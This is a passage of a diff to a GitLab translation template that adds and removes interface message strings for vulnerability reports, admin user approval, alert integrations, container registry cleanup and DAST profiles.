+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
